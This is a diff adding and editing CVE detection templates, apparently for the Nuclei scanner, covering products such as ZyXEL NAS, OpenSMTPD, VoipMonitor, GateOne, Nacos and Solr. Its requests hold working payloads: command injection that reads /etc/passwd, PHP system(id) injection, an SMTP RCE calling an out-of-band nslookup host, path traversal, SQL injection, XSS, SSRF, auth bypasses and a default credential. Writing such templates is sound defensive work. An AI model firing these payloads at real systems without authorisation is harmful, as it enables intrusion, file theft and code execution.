+id: CVE-2020-19625
 info:
   name: Gridx 1.3 RCE
   author: geeknik
@@ -26,4 +27,4 @@ requests:
         part: body
         group: 1
         regex:
-          - "<h1 class=\"p\">PHP Version ([0-9.]+)<\/h1>"
+          - '<h1 class=\"p\">PHP Version ([0-9.]+)<\/h1>'

cves/2020/CVE-2020-28208.yaml

@@ -6,7 +6,7 @@ info:
   severity: medium
   description: An email address enumeration vulnerability exists in the password reset function of Rocket.Chat through 3.9.1.
   reference: https://trovent.io/security-advisory-2010-01
-  tags: rockethchat
+  tags: cve,cve2020,rockethchat
 
 requests:
   - raw:

cves/2020/CVE-2020-29164.yaml

@@ -11,7 +11,7 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/Pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3E"
+      - "{{BaseURL}}/pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3E"
 
     matchers-condition: and
     matchers:
@@ -25,3 +25,7 @@ requests:
         words:
           - '<img src="" onerror="alert(1);">1</img>'
         part: body
+
+      - type: status
+        status:
+          - 200

cves/2020/CVE-2020-35338.yaml

@@ -0,0 +1,28 @@
+id: CVE-2020-35338
+
+info:
+  author: Jeya Seelan
+  severity: critical
+  name: Default Credentials of WMT Server
+  description: The Web Administrative Interface in Mobile Viewpoint Wireless Multiplex Terminal (WMT) Playout Server 20.2.8 and earlier has a default account with a password of pokon.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-35338
+    - https://jeyaseelans.medium.com/cve-2020-35338-9e841f48defa
+  tags: cve,cve2020,wmt,default-login
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/server/"
+    headers:
+      Authorization: "Basic OnBva29u"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "<title>WMT Server playout"

cves/2020/CVE-2020-35489.yaml

@@ -26,5 +26,5 @@ requests:
 
       - type: regex
         regex:
-          - '^([0-4]\.|5\.[0-2]\.|5\.3\.[0-1]$)'
+          - '^= ([0-4]\.[0-9\.]+|5\.[0-2]|5\.[0-2]\.[0-9]+|5\.3\.[0-1]) ='
         part: body

cves/2020/CVE-2020-35736.yaml

@@ -0,0 +1,26 @@
+id: CVE-2020-35736
+
+info:
+  name: GateOne Arbitrary File Download
+  author: pikpikcu
+  severity: high
+  description: GateOne 1.1 allows arbitrary file download without authentication via /downloads/.. directory traversal because os.path.join is misused.
+  reference: |
+    - https://github.com/liftoff/GateOne/issues/747
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-35736
+  tags: cve,cve2020,gateone,lfi
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd'
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+
+      - type: status
+        status:
+          - 200

cves/2020/CVE-2020-35951.yaml

@@ -68,7 +68,7 @@ requests:
           - "not found in <b>([/a-z_]+)wp"
 
     req-condition: true
-    matchers-condition: or
+    matchers-condition: and
     matchers:
 
       - type: word

cves/2020/CVE-2020-36112.yaml

@@ -0,0 +1,33 @@
+id: CVE-2020-36112
+
+info:
+  name: CSE Bookstore 1.0 SQL Injection
+  author: geeknik
+  description: CSE Bookstore version 1.0 is vulnerable to time-based blind, boolean-based blind and OR error-based SQL injection in pubid parameter in bookPerPub.php. A successfull exploitation of this vulnerability  will lead to an attacker dumping the entire database.
+  reference: |
+      - https://www.exploit-db.com/exploits/49314
+      - https://www.tenable.com/cve/CVE-2020-36112
+  severity: critical
+  tags: cve,cve2020,sqli,cse
+
+requests:
+  - raw:
+      - |
+        GET /ebook/bookPerPub.php?pubid=4' HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Cookie: PHPSESSID=c4qd3glr3oe6earuf88sub6g1n
+        Upgrade-Insecure-Requests: 1
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "get book price failed! You have an error in your SQL syntax"
+          - "Can't retrieve data You have an error in your SQL syntax"
+        condition: or

cves/2020/CVE-2020-5776.yaml

@@ -6,7 +6,7 @@ info:
   severity: high
   description: Currently, all versions of MAGMI are vulnerable to CSRF due to the lack of CSRF tokens. RCE (via phpcli command) is possible in the event that a CSRF is leveraged against an existing admin session for MAGMI.
   reference: https://www.tenable.com/security/research/tra-2020-51
-  tags: cve,cve2020,magmi
+  tags: cve,cve2020,magmi,magento
 
   # Due to the lack of CSRF tokens, RCE (via phpcli command) is possible
   # in the event that a CSRF is leveraged against an existing admin session for MAGMI.

cves/2020/CVE-2020-5777.yaml

@@ -6,7 +6,7 @@ info:
   severity: high
   description: MAGMI versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure.
   reference: https://github.com/dweeves/magmi-git/blob/18bd9ec905c90bfc9eaed0c2bf2d3525002e33b9/magmi/inc/magmi_auth.php#L35
-  tags: cve,cve2020,magmi
+  tags: cve,cve2020,magmi,magento
 
   # Response code 503 indicates a potential successful "Too many connections" error
   # While the Db connection is down, you can access http://[TARGET]/magmi/web/magmi.php

cves/2020/CVE-2020-6287.yaml

@@ -12,16 +12,6 @@ info:
     - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675
     - https://www.onapsis.com/recon-sap-cyber-security-vulnerability
 
-  # Affected Versions: 7.30, 7.31, 7.40, 7.50
-
-  # p.s:
-  # > Don't forget to change the default credentials
-  # > to create new admin in associated file:
-  # > `payloads/CVE-2020-6287.xml`
-
-  # Ref:
-  # - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6287
-
 requests:
   - payloads:
       data: helpers/payloads/CVE-2020-6287.xml
@@ -41,4 +31,9 @@ requests:
         part: body
       - type: status
         status:
-          - 200
+          - 200
+
+      - type: word
+        words:
+          - "text/xml"
+        part: header

cves/2020/CVE-2020-7247.yaml

@@ -0,0 +1,38 @@
+id: CVE-2020-7247
+info:
+  name: OpenSMTPD 6.4.0 - 6.6.1 Remote Code Execution
+  author: princechaddha
+  severity: critical
+  reference: https://www.openwall.com/lists/oss-security/2020/01/28/3
+  tags: cve,cve2020,smtp,opensmtpd,network,rce,oob
+
+network:
+  - inputs:
+      - read: 1024
+      - data: "helo target\r\n"
+        read: 1024
+      - data: "MAIL FROM:<;nslookup {{interactsh-url}};>\r\n"
+        read: 1024
+      - data: "RCPT TO:<root>\r\n"
+        read: 1024
+      - data: "DATA\r\n"
+        read: 1024
+      - data: "\r\nxxxx\r\n.\r\n"
+        read: 1024
+      - data: "QUIT\r\n"
+        read: 1024
+    host:
+      - "{{Hostname}}"
+      - "{{Hostname}}:25"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
+
+      - type: word
+        part: raw
+        words:
+          - "Message accepted for delivery"

cves/2020/CVE-2020-7961.yaml

@@ -15,7 +15,6 @@ requests:
       command:
         - "systeminfo"  # Windows
         - "lsb_release -a"  # Linux
-        - "sysctl kern.ostype"  # macOS
 
     attack: sniper
     raw:
@@ -40,16 +39,15 @@ requests:
         regex:
           - "OS Name:.*Microsoft Windows"
           - "Distributor ID:"
-          - "kern\\.ostype"
         condition: or
         part: body
       - type: status
         status:
           - 200
+
     extractors:
       - type: regex
         part: body
         regex:
           - "Microsoft Windows (.*)"
-          - "kern\\.ostype: (.*)"
           - "Distributor ID: (.*)"

cves/2020/CVE-2020-8191.yaml

@@ -34,3 +34,8 @@ requests:
       - type: status
         status:
           - 200
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2020/CVE-2020-9054.yaml

@@ -0,0 +1,35 @@
+id: CVE-2020-9054
+
+info:
+  name: ZyXEL NAS RCE
+  author: dhiyaneshDk
+  severity: critical
+  description: |
+    Multiple ZyXEL network-attached storage (NAS) devices running firmware version 5.21 contain a pre-authentication command injection vulnerability, which may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable device.
+    ZyXEL NAS devices achieve authentication by using the weblogin.cgi CGI executable. This program fails to properly sanitize the username parameter that is passed to it.
+    If the username parameter contains certain characters, it can allow command injection with the privileges of the web server that runs on the ZyXEL device.
+    Although the web server does not run as the root user, ZyXEL devices include a setuid utility that can be leveraged to run any command with root privileges.
+    As such, it should be assumed that exploitation of this vulnerability can lead to remote code execution with root privileges.
+    By sending a specially-crafted HTTP POST or GET request to a vulnerable ZyXEL device, a remote, unauthenticated attacker may be able to execute arbitrary code on the device.
+    This may happen by directly connecting to a device if it is directly exposed to an attacker.
+    However, there are ways to trigger such crafted requests even if an attacker does not have direct connectivity to a vulnerable devices.
+    For example, simply visiting a website can result in the compromise of any ZyXEL device that is reachable from the client system.
+    Affected products include: NAS326 before firmware V5.21(AAZF.7)C0 NAS520 before firmware V5.21(AASZ.3)C0 NAS540 before firmware V5.21(AATB.4)C0 NAS542 before firmware V5.21(ABAG.4)C0 ZyXEL has made firmware updates available for NAS326, NAS520, NAS540, and NAS542 devices. Affected models that are end-of-support: NSA210, NSA220, NSA220+, NSA221, NSA310, NSA310S, NSA320, NSA320S, NSA325 and NSA325v2
+  reference: |
+    - https://krebsonsecurity.com/2020/02/zyxel-fixes-0day-in-network-storage-devices/
+    - https://www.zyxel.com/support/remote-code-execution-vulnerability-of-NAS-products.shtml
+  tags: cve,cve2020,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/weblogin.cgi?username=admin';cat /etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/2020/CVE-2020-9315.yaml

@@ -0,0 +1,32 @@
+id: CVE-2020-9315
+
+info:
+  name: Oracle iPlanet Improper Authorization
+  author: dhiyaneshDk
+  severity: high
+  reference: https://www.cvebase.com/cve/2020/9315
+  tags: cve,cve2020,oracle
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/admingui/version/serverTasksGeneral?serverTasksGeneral.GeneralWebserverTabs.TabHref=2"
+      - "{{BaseURL}}/admingui/version/serverConfigurationsGeneral?serverConfigurationsGeneral.GeneralWebserverTabs.TabHref=4"
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Admin Console"
+
+      - type: word
+        words:
+          - "serverConfigurationsGeneral"
+          - "serverCertificatesGeneral"
+        condition: or
+
+      - type: status
+        status:
+          - 200

cves/2020/CVE-2020-9490.yaml

@@ -0,0 +1,24 @@
+id: CVE-2020-9490
+
+info:
+  name: CVE-2020-9490
+  severity: medium
+  description: Apache HTTP Server versions 2.4.20 to 2.4.43. A specially crafted value for the 'Cache-Digest' header in a HTTP/2 request would result in a crash when the server actually tries to HTTP/2 PUSH a resource afterwards. Configuring the HTTP/2 feature via "H2Push off" will mitigate this vulnerability for unpatched servers.
+  author: philippedelteil
+  tags: cve,cve2020,apache,dos
+  reference: |
+        - https://httpd.apache.org/security/vulnerabilities_24.html
+        - https://bugs.chromium.org/p/project-zero/issues/detail?id=2030
+        - https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=443369
+        - https://nvd.nist.gov/vuln/detail/CVE-2020-9490
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: regex
+        regex:
+          - "Apache/2\\.4\\.([3-3][0-9]|2[0-9]|4[0-3])"
+        part: header

cves/2021/CVE-2021-21985.yaml

@@ -0,0 +1,31 @@
+id: CVE-2021-21985
+
+info:
+  name: VMware vSphere Client (HTML5) RCE
+  author: D0rkerDevil
+  severity: critical
+  description: |
+    The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server.
+  reference: |
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-21985
+    - https://www.vmware.com/security/advisories/VMSA-2021-0010.html
+    - https://github.com/alt3kx/CVE-2021-21985_PoC
+  tags: cve,cve2021,rce,vsphere
+
+requests:
+  - raw:
+      - |
+        POST /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Content-Type: application/json
+        Content-Length: 86
+        Connection: close
+
+        {"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}
+
+    matchers:
+      - type: word
+        words:
+          - '{"result":{"isDisconnected":'
+        part: body

cves/2021/CVE-2021-24146.yaml

@@ -0,0 +1,25 @@
+id: CVE-2021-24146
+
+info:
+  name: Modern Events Calendar Lite < 5.16.5 - Unauthenticated Events Export
+  description: Lack of authorisation checks in the Modern Events Calendar Lite WordPress plugin, versions before 5.16.5, did not properly restrict access to the export files, allowing unauthenticated users to exports all events data in CSV or XML format for example.
+  author: random_robbie
+  severity: high
+  reference: https://wpscan.com/vulnerability/c7b1ebd6-3050-4725-9c87-0ea525f8fecc
+  tags: wordpress,wp-plugin,cve,cve2021
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "mec-events"
+        part: header
+
+      - type: status
+        status:
+          - 200

cves/2021/CVE-2021-24176.yaml

@@ -0,0 +1,27 @@
+id: CVE-2021-24176
+
+info:
+  name: WordPress JH 404 Logger XSS
+  author: Ganofins
+  severity: medium
+  description: JH 404 Logger WordPress plugin through 1.1 doesn't sanitise the referer and path of 404 pages, when they are output in the dashboard, which leads to executing arbitrary JavaScript code in the WordPress dashboard.
+  references: |
+      - https://wpscan.com/vulnerability/705bcd6e-6817-4f89-be37-901a767b0585
+      - https://wordpress.org/plugins/jh-404-logger/
+  tags: cve,cve2021,wordpress,wp-plugin,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/jh-404-logger/readme.txt"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "JH 404 Logger"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/2021/CVE-2021-27651.yaml

@@ -0,0 +1,41 @@
+id: CVE-2021-27651
+
+info:
+  name: Pega Infinity Authentication bypass
+  author: idealphase
+  description: In versions 8.2.1 through 8.5.2 of Pega Infinity, the password reset functionality for local accounts can be used to bypass local authentication checks.
+  reference: |
+      - https://github.com/samwcyo/CVE-2021-27651-PoC/blob/main/RCE.md
+      - https://nvd.nist.gov/vuln/detail/CVE-2021-27651
+  severity: critical
+  tags: cve,cve2021,pega,auth-bypass
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/prweb/PRAuth/app/default/"
+
+    cookie-reuse: true
+    redirects: true
+    max-redirects: 2
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "Pega Infinity"
+        part: body
+
+      - type: regex
+        regex:
+          - 'Pega 8\.(?:2\.[1-9]|3\.[0-9]|4\.[0-9]|5\.[0-2])'
+        part: body
+
+    extractors:
+      - type: regex
+        regex:
+          - 'Pega 8\.(?:2\.[1-9]|3\.[0-9]|4\.[0-9]|5\.[0-2])'
+        part: body

cves/2021/CVE-2021-27850.yaml

@@ -0,0 +1,57 @@
+id: CVE-2021-27850
+
+info:
+  name: Apache Tapestry - Arbitrary class download
+  description: |
+    A critical unauthenticated remote code execution vulnerability was found all recent versions of Apache Tapestry. The affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. The vulnerability I have found is a bypass of the fix for CVE-2019-0195. Recap: Before the fix of CVE-2019-0195 it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.
+  author: pdteam
+  severity: critical
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2021-27850
+  tags: cve,cve2021,apache,tapestry
+
+requests:
+  - raw:
+      - |
+        GET /assets/app/something/services/AppModule.class/ HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.9
+      - |
+        GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.9
+
+    extractors:
+      - type: regex
+        regex:
+          - '\/assets\/app\/([a-z0-9]+)\/services\/AppMod'
+        internal: true
+        name: id
+        part: header
+        group: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - 'application/java'
+        part: header
+
+      - type: word
+        words:
+          - 'configuration'
+          - 'webtools'
+        part: body
+        condition: and

cves/2021/CVE-2021-27905.yaml

@@ -0,0 +1,41 @@
+id: CVE-2021-27905
+
+info:
+  name: Apache Solr <= 8.8.1 SSRF
+  author: hackergautam
+  severity: medium
+  tags: cve,cve2021,apache,solr,ssrf
+  description: The ReplicationHandler (normally registered at "/replication" under a Solr core) in Apache Solr has a "masterUrl" (also "leaderUrl" alias) parameter that is used to designate another ReplicationHandler on another Solr core to replicate index data into the local core. To prevent a SSRF vulnerability, Solr ought to check these parameters against a similar configuration it uses for the "shards" parameter. Prior to this bug getting fixed, it did not. This problem affects essentially all Solr versions prior to it getting fixed in 8.8.2.
+  reference: |
+      - https://www.anquanke.com/post/id/238201
+      - https://ubuntu.com/security/CVE-2021-27905
+      - https://nvd.nist.gov/vuln/detail/CVE-2021-27905
+      - https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/
+
+requests:
+  - raw:
+      - |
+        GET /solr/admin/cores?wt=json HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Language: en
+        Connection: close
+
+      - |
+        GET /solr/{{core}}/replication/?command=fetchindex&masterUrl=https://example.com HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Language: en
+        Connection: close
+
+    extractors:
+      - type: regex
+        regex:
+          - '"status"\:\{"(.*?)"\:\{"name"'
+        name: core
+        group: 1
+        internal: true
+
+    matchers:
+      - type: word
+        words:
+          - '<str name="status">OK</str>'
+        part: body

cves/2021/CVE-2021-28073.yaml

@@ -0,0 +1,36 @@
+id: CVE-2021-28073
+
+info:
+  name: Ntopng Authentication Bypass
+  author: z3bd
+  severity: critical
+  description: Ntopng is a passive network monitoring tool focused on flows and statistics that can be obtained from the traffic captured by the server. There is a authentication bypass vulnerability in ntopng <= 4.2
+  tags: ntopng,cve,cve2021
+  reference: |
+      - http://noahblog.360.cn/ntopng-multiple-vulnerabilities/
+      - https://github.com/AndreaOm/docs/blob/c27d2db8dbedb35c9e69109898aaecd0f849186a/wikipoc/PeiQi_Wiki/%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/HongKe/HongKe%20ntopng%20%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90%E7%B3%BB%E7%BB%9F%20%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%20CVE-2021-28073.md
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/lua/%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2ffind_prefs.lua.css"
+      - "{{BaseURL}}/lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2ffind_prefs.lua.css"
+
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: word
+        words:
+          - '"results":'
+          - '"name":'
+          - '"tab":'
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2021/CVE-2021-29441.yaml

@@ -0,0 +1,49 @@
+id: CVE-2021-29441
+
+info:
+  name: Nacos prior to 1.4.1 Authentication Bypass
+  description: |
+    This template only works on Nuclei engine prior to version 2.3.3 and version >= 2.3.5.
+
+    In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true)
+    Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that
+    enables Nacos servers to bypass this filter and therefore skip authentication checks.
+    This mechanism relies on the user-agent HTTP header so it can be easily spoofed.
+    This issue may allow any user to carry out any administrative tasks on the Nacos server.
+  author: dwisiswant0
+  severity: high
+  reference: https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
+  tags: nacos,auth-bypass,cve,cve2021
+
+requests:
+  - raw:
+      - |
+        POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+
+      - |
+        POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        User-Agent: Nacos-Server
+
+    req-condition: true
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code_1 == 403"
+          - "status_code_2 == 200"
+        condition: and
+
+      - type: dsl
+        dsl:
+          - "contains(body_1, 'Forbidden')"
+          - "body_2 == 'true'"
+        condition: and
+
+      - type: word
+        words:
+          - "application/json"
+        part: header

cves/2021/CVE-2021-29442.yaml

@@ -0,0 +1,30 @@
+id: CVE-2021-29442
+
+info:
+  name: Nacos prior to 1.4.1 Missing Authentication Check
+  description: |
+    In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out.
+    While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users.
+    These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)
+  author: dwisiswant0
+  severity: high
+  reference: https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
+  tags: nacos,auth-bypass,cve,cve2021
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "application/json"
+        part: header
+      - type: regex
+        regex:
+          - "\"TABLENAME\":\"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT|ALIAS|(?:FI|RO)L)E|(?:(?:ROUTINE)?|COL)PERM|(?:FOREIGN)?KEY|CONSTRAINT|T(?:ABLEPERM|RIGGER)|S(?:TAT(?:EMENT|ISTIC)|EQUENCE|CHEMA)|DEPEND|CHECK|VIEW|USER)|USER|ROLE)S|CONFIG_(?:TAGS_RELATION|INFO_(?:AGGR|BETA|TAG))|TENANT_CAPACITY|GROUP_CAPACITY|PERMISSIONS|SYSCOLUMNS|SYS(?:DUMMY1|TABLES)|APP_LIST)|CONFIG_INFO)|TENANT_INFO)|HIS_CONFIG_INFO)\""
+        part: body

cves/2021/CVE-2021-29622.yaml

@@ -0,0 +1,20 @@
+id: CVE-2021-29622
+
+info:
+  name: Prometheus v2.23.0 to v2.26.0, and v2.27.0 Open Redirect
+  author: geeknik
+  description: In 2.23.0, Prometheus changed its default UI to the New ui. To ensure a seamless transition, the URL's prefixed by /new redirect to /. Due to a bug in the code, it is possible for an attacker to craft an URL that can redirect to any other URL, in the /new endpoint.
+  reference: https://github.com/prometheus/prometheus/security/advisories/GHSA-vx57-7f4q-fpc7
+  severity: medium
+  tags: cve,cve2021,prometheus,redirect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/new/newhttp://example.com"
+
+    matchers:
+      - type: regex
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$'
+        part: header

cves/2021/CVE-2021-30461.yaml

@@ -0,0 +1,38 @@
+id: CVE-2021-30461
+
+info:
+  name: VoipMonitor Pre-Auth-RCE
+  author: shifacyclewala,hackergautam
+  severity: critical
+  description: Use of user supplied data, arriving via web interface allows remote unauthenticated users to trigger a remote PHP code execution vulnerability in VoIPmonitor.
+  tags: cve,cve2021,rce,voipmonitor
+  reference: https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/
+
+requests:
+  - raw:
+      - |
+        POST /index.php HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 35
+
+        SPOOLDIR=test".system(id)."&recheck=Recheck
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "uid="
+          - "gid="
+          - "groups="
+          - "VoIPmonitor installation"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2021/CVE-2021-31537.yaml

@@ -0,0 +1,28 @@
+id: CVE-2021-31537
+
+info:
+  name: SIS-REWE GO version 7.5.0/12C XSS
+  author: geeknik
+  description: SIS SIS-REWE Go before 7.7 SP17 allows XSS -- rewe/prod/web/index.php (affected parameters are config, version, win, db, pwd, and user) and /rewe/prod/web/rewe_go_check.php (version and all other parameters).
+  reference: https://sec-consult.com/vulnerability-lab/advisory/reflected-xss-sis-infromatik-rewe-go-cve-2021-31537/
+  severity: medium
+  tags: cve,cve2021,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/rewe/prod/web/rewe_go_check.php?config=rewe&version=7.5.0%3cscript%3econfirm({{randstr}})%3c%2fscript%3e&win=2707"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<script>confirm({{randstr}})</script>"
+          - "SIS-REWE"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - "text/html"

cves/2021/CVE-2021-33564.yaml

@@ -0,0 +1,23 @@
+id: CVE-2021-33564
+
+info:
+  name: Argument Injection in Ruby Dragonfly
+  author: 0xsapra
+  severity: critical
+  reference: https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/
+  tags: cve,cve2021,rce,ruby
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/system/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="
+      - "{{BaseURL}}/system/refinery/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

default-logins/arl/arl-default-password.yaml

@@ -0,0 +1,29 @@
+id: arl-default-password
+
+info:
+  name: ARL Default Password
+  author: pikpikcu
+  severity: high
+  tags: arl,default-login
+
+requests:
+  - method: POST
+    path:
